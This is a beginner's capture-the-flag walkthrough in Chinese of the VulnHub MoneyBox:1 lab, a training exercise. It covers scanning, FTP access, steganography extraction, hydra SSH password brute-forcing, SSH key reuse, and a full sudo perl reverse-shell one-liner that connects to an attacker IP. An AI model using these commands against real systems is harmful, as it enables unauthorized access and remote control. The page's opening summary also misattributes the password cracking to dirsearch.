【新手向】VulnHub靶场MONEYBOX:1 | 详细解析

本文涉及的产品
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: 这是一篇关于网络安全攻防的详细分析文章,主要讲述了新手如何通过VulnHub靶场中的MoneyBox:1来学习渗透测试的过程。文章首先介绍了环境配置,包括导入虚拟机和网络设置。接着,通过nmap工具扫描目标IP,发现了FTP服务和SSH服务。通过dirsearch工具爆破FTP服务,获取了用户名renu和密码987654321。使用该信息登录FTP,找到了一个提示性的图片,通过steghide工具发现了一个隐藏的数据文件,并通过SSH公钥验证登录

【新手向】VulnHub靶场MONEYBOX:1 | 详细解析

@TOC

@TOC

作为一名新手,首先要配置好环境,才能进行下一步的操作。

将下载的ova文件导入VirtualBox。VirtualBox下载地址:https://www.oracle.com/cn/virtualization/technologies/vm/downloads/virtualbox-downloads.html

b942ce5f716e43c9a83261e70d5dbe5c.png

选择你下载的ova文件,点击“下一步”。

选择存放文件的位置,点击完成。(在我的电脑上只有放在默认位置才有效)

4a912c85c6b6437294ab5bc8b42f1ad4.png 启动虚拟机。

可能会出现如下错误信息。

解决方法:在网络设置中,选择自己电脑的网卡,重新启动就可以了。

e8bc7bac4b254958a3e8c8a804897346.png

这里我使用桥接方式,VMware中的Kali虚拟机也使用桥接方式,使两台虚拟机处在同一网段就可以了。

2eddf7abfa944a07a24658668dab575f.png


@TOC

首先获取一下kali的网卡信息。

ifconfig

28ba2f63a4244e2a96b7caf871f45f63.png

目前没有任何有效信息,通过Kali中的nmap工具扫描该网段下的所有主机,扫描到了很多IP。

nmap 192.168.3.0/24

参数含义:

nmap:网络探索和安全扫描工具。

192.168.3.0/24:目标 IP 地址范围。这里的 /24 表示子网掩码为 255.255.255.0,这意味着 Nmap 将扫描从 192.168.3.1 192.168.3.254 的所有 IP 地址。

也可以通过arp扫描,获得目标靶机IP。

arp-scan -I eth0 -l

经过访问和验证后,确认目标靶场为192.168.3.27。探测到三个开放的端口,对端口做进一步的探测。

8d9236c128f04784b829e0dd756f869e.png

使用nmap对192.168.3.27做更详细的探测,发现(自上而下):1、21端口ftp服务允许匿名登录,还有一张trytofind.jpg图片;2、22端口ssh服务有一些key;3、80端口http服务存在一个网页Title:MoneyBox。

nmap -A 192.168.3.27

参数含义:

-AAggressive(激进)扫描模式。这是一个组合选项,包含了以下功能:

-sSTCP SYN 扫描)

-sUUDP 扫描)

-sTTCP connect() 扫描)

-sV(服务版本探测)

-sC(默认脚本扫描)

OS detection(操作系统检测)

或者

nmap -p21 -sC 172.16.95.137

nmap -p22 -sC 172.16.95.137

nmap -p80 -sC 172.16.95.137

参数含义:

-p: 指定要扫描的端口号或端口范围。

-sC: 执行默认的 NSE 脚本集合。

bb5ea1e8f11c4a34825a20825107c2bb.png


@TOC

既然可以匿名登录,尝试直接登录ftp服务,账户名和密码均为anonymous。

FTP的匿名登录一般有三种:  1、 用户名:anonymous 密码:Email或者为空  2、 用户名:FTP 密码:FTP或者为空  3、 用户名:USER 密码:pass

登录成功之后,使用ls命令看一下有什么东西,找到一张图片,使用get命令下载下来。

ftp 192.168.3.27

ls

get trytofind.jpg

exit

下载到的图片:

图片的出现让我想起了CTF中的隐写术,使用steghide工具查看图片的详细信息,提示需要密码。随便试几个密码,失败了,看来要从其他地方找密码。

steghide info trytofind.jpg

Steghide 是一个用于隐藏数据(如文本、图像、音频等)在其他文件(如图片、音频文件)中的工具。

8d8a91c253f643f38d78753ceb0ccf39.png

@TOC

直接通过浏览器访问IP,查看网站页面。提示:“这是一个非常简单的盒子,所以不要想太多”。

ccd8043ed09243d29fef39f6fc4e8f7a.png

查看网页源代码(直接按F12),没有什么有用的信息。进行敏感目录收集,使用dirsearch目录爆破工具探测目录。

安装命令

apt install dirsearch

dirsearch -u http://192.168.3.27/

作用:对指定的 URLhttp://192.168.3.27/)进行目录和文件枚举。

以下是一些可能的命令参数:

-u:指定要扫描的 URL

-e(可选):指定要搜索的文件扩展名列表,默认值为 .php,.asp,.aspx,.jsp,.jspx,.pl,.py,.html,.htm,.shtml,.sh,.cgi,.xml 等。

-f(可选):从文件中读取要搜索的单词列表。

-t(可选):指定线程数,默认为 10

-w(可选):指定单词列表文件。

发现一个新页面blogs,在浏览器中看一下。提示:我是 TOm-H4ck3r 我已经黑了这个盒子并通知了他们。但他们没有做任何安全配置 如果您需要下一步的提示......?

521c796a511e43b7b3fd37f0c1d895a7.png

查看网页源代码,发现下一步的提示。提示:<!--提示是另一个秘密目录是 S3cr3t-T3xt-->。

b4eda5872699403ba8a8f28a528f8b11.png

根据提示切换路径为http://192.168.3.27/S3cr3t-T3xt/新的提示:本页无内容.........

查看网页源代码,发现一个Key。(猜测为图片隐藏内容的密码)

367cf97885d64f2f860a20fa312f86ae.png

使用得到的密码,成功读取到一个data.txt文件。

2685246992bd409aabe75aa2851d86cc.png

使用steghide提取data.txt文件,查看得到新提示。

steghide extract -sf trytofind.jpg -p 3xtr4ctd4t4

命令参数解释如下:

extract: 指定要执行的操作为提取隐藏数据。

-sf: 指定源文件为 trytofind.jpg,这是一个包含隐藏数据的图像文件。

-p: 指定用于解密隐藏数据的密码。在这个例子中,密码为 3xtr4ctd4t4。

提示:你好...... renu(用户名)我告诉你一件重要的事情:你的密码太短了,所以请更改密码 不要小看它.......

f5db665bfe7c4c78abeabc1f57212ee1.png


@TOC

结合得到的用户名、弱口令提示和剩下的ssh服务,尝试使用hydra工具对ssh服务进行弱口令爆破。

hydra -l renu -P rockyou.txt 192.168.3.27 ssh


参数解释:

-l:指定用户名,本例中为 "renu"。

-P:指定包含密码的字典文件,本例中为 "rockyou.txt"。这是一个广泛使用的密码字典,包含了大量常见的密码。

192.168.3.27:目标 IP 地址。

ssh:指定要攻击的服务,本例中为 SSH(Secure Shell)服务。

得到renu账户的ssh密码为987654321,直接尝试ssh远程登陆。登录成功。

ssh renu@192.168.3.27

@TOC

ls命令看一下有什么文件,pwd命令看一下当前路径,尝试用sudo提权失败,在user1.txt文件中得到第一个flag。

ls

pwd

uname -a (显示系统详细信息)

uname -r (用于在 Unix 或类 Unix 系统中显示当前运行的内核版本。)

sudo su

cat user1.txt

接下来进行提权操作,分析一下历史命令,寻找辅助提权的信息。从历史命令中可以看出,renu用户对192.168.43.80的主机进行SSH公钥登陆的配置,登陆账户是lily;192.168.43.80上的lily用户有sudo的权限;而renu用户可以切换为到本机的lily用户。

history #history命令用于显示或保存用户的命令历史记录


ssh-keygen -t rsa

# 生成RSA类型的SSH密钥。

ssh-copy-id lily@192.168.43.80

# 将公钥复制到远程服务器上,以便进行无密码SSH登录。

chmod 400 id_rsa

# 更改id_rsa文件的权限为400,也就是只有文件所有者可以读取该文件。

ssh -i id_rsa lily@192.168.43.80

# 使用指定的密钥文件(id_rsa)通过SSH连接到远程服务器。

看到下图所示,renu用户进入home家目录,之后又进入lily用户目录,说明本机存在一个lily用户。

e2010b772cda48468c3539f3d3b71431.png

猜测ssh登录的账户lily为本机的lily用户,那么SSH公钥配置操作就是在本机上进行的,根据SSH公钥工作机制,如果renu用户进行了ssh-keygen -t rsa操作,会在renu的~/.ssh/中生成id_rsa和id_rsa.pub文件,如下。

同时,如果renu用户进行了ssh-copy-id lily@192.168.43.80操作,将会把刚才生成的id_rsa.pub拷贝到192.168.43.80主机上的lily账户~/.ssh/authorized_keys文件中。如果192.168.43.80上的lily用户就是本机的lily用户,那么lily用户下~/.ssh/authorized_keys文件中的公钥应该与renu生成的id_rsa.pub公钥一致。验 86e0dac2bc4646fa9f21d6fec76b6ad5.png 证一下。


完全一致,那么renu用户可以通过SSH公钥验证的方式登陆到本机的lily的账户上,并且lily用户具有sudo的权限。

尝试直接su到lily用户,但是需要密码,只能通过SSH公钥验证登录到lily用户。

a329e58f8565467ab664147977c5b0bc.png


@TOC

ssh -i id_rsa lily@192.168.3.27

-i 选项,用于指定私钥文件 id_rsa。

00e247dfda8840f4ad6a83dbb5894f4b.png

成功登录,ls命令看一下有什么文件,在user1.txt文件中得到第二个flag。

bda364649e854635959477a59b544dea.png

尝试su提升权限,但还是需要密码。再次查看history历史命令,发现lily用户编辑了sudoers,并且查找了一些具有suid权限的文件,执行了sudo -l 。

79783063ad9a47caa67724a955917f79.png

3316b002a0104b5ca93596fdda201704.png

使用sudo -l命令看一下当前用户可用的sudo权限,发现可以使用sudo权限的perl命令(不需要输入密码)。

sudo -l

# 查看当前用户可用的sudo权限

6f564fc3ff674935a359cefa46987c9a.png

既然可以使用perl命令,那么采用反弹shell的方法提升权限。


@TOC

首先,在kali上开启nc进行监听。

nc -lnvp 6666

# 使用 nc(Netcat)命令在本地主机上监听TCP端口6666的命令。


命令参数解释如下:

-l: 使Netcat进入监听模式,等待连接请求。

-n: 指定不进行DNS解析,使用IP地址而非主机名。

-v: 启用详细模式,显示更多的操作信息。

-p: 指定要监听的端口号,这里为6666。

然后,生成一段用于反弹shell的perl指令进行sudo执行。(!!!$ i=攻击机的IP,$p=攻击机监听的端口!!!)

sudo perl -e 'use Socket;$i="192.168.3.25";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

当执行此命令时,以下过程会发生:

1、使用 sudo 提升权限执行 Perl 命令。

2、在 Perl 中,定义了以下几个变量:

$i="192.168.3.25":目标 IP 地址。

$p=6666:目标端口号。

3、使用 Socket 模块创建一个 TCP 套接字(Socket),并连接到指定的 IP 地址和端口号。

4、如果连接成功,将标准输入(STDIN)、标准输出(STDOUT)和标准错误(STDERR)重定向到套接字,这样就可以通过该套接字发送和接收数据。

5、执行 /bin/sh -i,启动一个交互式的 Bash shell。这个 shell 的输入和输出都会通过先前建立的套接字进行传输。

最后成功拿到root权限,并在user3.txt文件中拿到第三个flag。

目录
相关文章
|
6月前
|
存储 XML PHP
DVWA靶场Medium难度部分解析
DVWA靶场Medium难度部分解析
70 1
|
10天前
|
监控 Java 应用服务中间件
高级java面试---spring.factories文件的解析源码API机制
【11月更文挑战第20天】Spring Boot是一个用于快速构建基于Spring框架的应用程序的开源框架。它通过自动配置、起步依赖和内嵌服务器等特性,极大地简化了Spring应用的开发和部署过程。本文将深入探讨Spring Boot的背景历史、业务场景、功能点以及底层原理,并通过Java代码手写模拟Spring Boot的启动过程,特别是spring.factories文件的解析源码API机制。
35 2
|
1月前
|
缓存 Java 程序员
Map - LinkedHashSet&Map源码解析
Map - LinkedHashSet&Map源码解析
70 0
|
1月前
|
算法 Java 容器
Map - HashSet & HashMap 源码解析
Map - HashSet & HashMap 源码解析
57 0
|
1月前
|
存储 Java C++
Collection-PriorityQueue源码解析
Collection-PriorityQueue源码解析
62 0
|
1月前
|
安全 Java 程序员
Collection-Stack&Queue源码解析
Collection-Stack&Queue源码解析
84 0
|
10天前
|
存储 安全 Linux
Golang的GMP调度模型与源码解析
【11月更文挑战第11天】GMP 调度模型是 Go 语言运行时系统的核心部分,用于高效管理和调度大量协程(goroutine)。它通过少量的操作系统线程(M)和逻辑处理器(P)来调度大量的轻量级协程(G),从而实现高性能的并发处理。GMP 模型通过本地队列和全局队列来减少锁竞争,提高调度效率。在 Go 源码中,`runtime.h` 文件定义了关键数据结构,`schedule()` 和 `findrunnable()` 函数实现了核心调度逻辑。通过深入研究 GMP 模型,可以更好地理解 Go 语言的并发机制。
|
23天前
|
消息中间件 缓存 安全
Future与FutureTask源码解析,接口阻塞问题及解决方案
【11月更文挑战第5天】在Java开发中,多线程编程是提高系统并发性能和资源利用率的重要手段。然而,多线程编程也带来了诸如线程安全、死锁、接口阻塞等一系列复杂问题。本文将深度剖析多线程优化技巧、Future与FutureTask的源码、接口阻塞问题及解决方案,并通过具体业务场景和Java代码示例进行实战演示。
40 3
|
1月前
|
存储
让星星⭐月亮告诉你,HashMap的put方法源码解析及其中两种会触发扩容的场景(足够详尽,有问题欢迎指正~)
`HashMap`的`put`方法通过调用`putVal`实现,主要涉及两个场景下的扩容操作:1. 初始化时,链表数组的初始容量设为16,阈值设为12;2. 当存储的元素个数超过阈值时,链表数组的容量和阈值均翻倍。`putVal`方法处理键值对的插入,包括链表和红黑树的转换,确保高效的数据存取。
56 5
|
1月前
|
Java Spring
Spring底层架构源码解析(三)
Spring底层架构源码解析(三)
113 5

推荐镜像

更多
下一篇
无影云桌面